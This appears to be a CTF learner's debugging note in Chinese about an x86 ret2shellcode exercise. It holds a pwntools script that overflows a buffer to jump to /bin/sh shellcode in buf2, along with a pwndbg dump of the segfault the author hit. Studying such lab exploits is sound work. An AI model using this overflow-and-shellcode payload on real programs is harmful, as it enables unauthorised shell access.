x86 ret2shellcode

from pwn import *

context(os='linux', arch='i386') context.terminal = ['tmux', 'splitw', '-h']

BINARY = "./ret2shellcode" elf = ELF(BINARY, False) rop = ROP(elf) conn = process(BINARY)

offset = 112 addr = 0x804a080 shellcode = asm(shellcraft.sh()) payload = bytes(shellcode).ljust(offset, b'\0') + p32(addr)

gdb.attach(conn) conn.sendline(payload) conn.interactive()

复现失败, 不是bytes函数的问题,

Program received signal SIGSEGV, Segmentation fault. 0x0804a080 in buf2 () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────── EAX 0 EBX 0xf7f5ee0c ◂— 0x22bd2c ECX 0 EDX 0 EDI 0x80485d0 (__libc_csu_init) —▸ 0xff315755 ◂— 0 ESI 0 EBP 0 ESP 0xff85f920 ◂— 0 EIP 0x804a080 (buf2) ◂— 0x2f68686a ('jhh/') ──────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────── ► 0x804a080 pushl $0x68 0x804a082 <buf2+2> pushl $0x732f2f2f 0x804a087 <buf2+7> pushl $0x6e69622f 0x804a08c <buf2+12> movl %esp, %ebx EBX => 0xff85f914 ◂— '/bin///sh' 0x804a08e <buf2+14> pushl $0x1010101 0x804a093 <buf2+19> xorl $0x1016972, (%esp) [0xff85f910] => 0x6873 (0x1010101 ^ 0x1016972) 0x804a09a <buf2+26> xorl %ecx, %ecx ECX => 0 0x804a09c <buf2+28> pushl %ecx 0x804a09d <buf2+29> pushl $4 0x804a09f <buf2+31> popl %ecx ECX => 4 0x804a0a0 <buf2+32> addl %esp, %ecx ECX => 0xff85f910 (0x4 + 0xff85f90c) ──────────────────────────────────────────[ STACK ]─────────────────────────────────────────── 00:0000│ esp 0xff85f920 ◂— 0 01:0004│ 0xff85f924 —▸ 0xff85f9d4 —▸ 0xff85fc73 ◂— './ret2shellcode' 02:0008│ 0xff85f928 —▸ 0xff85f9dc —▸ 0xff85fc83 ◂— 'MOTD_SHOWN=pam' 03:000c│ 0xff85f92c —▸ 0xff85f940 —▸ 0xf7f5ee0c ◂— 0x22bd2c 04:0010│ 0xff85f930 —▸ 0xf7f5ee0c ◂— 0x22bd2c 05:0014│ 0xff85f934 ◂— 1 06:0018│ 0xff85f938 —▸ 0xff85f9d4 —▸ 0xff85fc73 ◂— './ret2shellcode' 07:001c│ 0xff85f93c —▸ 0x804852d (main) ◂— pushl %ebp ────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────── ► 0 0x804a080 buf2 ──────────────────────────────────────────────────────────────────────────────────────────────

段错误,